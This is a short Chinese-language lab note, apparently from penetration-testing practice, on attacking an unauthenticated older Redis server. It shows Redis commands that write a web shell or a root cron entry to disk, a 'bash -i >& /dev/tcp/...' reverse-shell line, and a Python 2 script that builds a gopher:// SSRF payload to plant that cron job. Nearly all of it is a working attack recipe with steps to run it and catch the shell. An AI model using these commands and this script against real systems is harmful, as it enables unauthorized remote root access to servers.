前提:
1.靶機是Centos環境
2.redis低版本,具體低於多少不清楚
——————主要幾個命令操作——————
flushall //清空所有key值
config get dir //獲取路徑
config set dir /**/**/ //設置路徑
set xxx '\n\n一句話木馬\n\n' //設置xxx值為一句話木馬
config set dbfilename 111.jsp / /設置文件名
save //將xxx默認寫入到111.jsp
方式一:直接用進入redis寫入計划任務(失敗,未成功反彈shell,失敗原因:未知,到靶機系統查看文件也成功寫入了,但是和下面使用腳本寫的就是格式上有點不一樣)
1.set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1\n\n'
2.config set dir /var/spool/cron/
3.config set dbfilename root
4.save

方式二:使用腳本寫入(原理和上面同理,成功率高)
ip是目標系統的,server_ip是接收shell的
import urllib protocol="gopher://" ip='192.168.43.144' port='6379' reverse_ip="192.168.43.183" reverse_port="4444" cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port) filename="root" path="/var/spool/cron" passwd="" cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
1.改好腳本后運行:python2 redis.py

2.curl命令執行

3.監聽成功

參考鏈接:
https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ
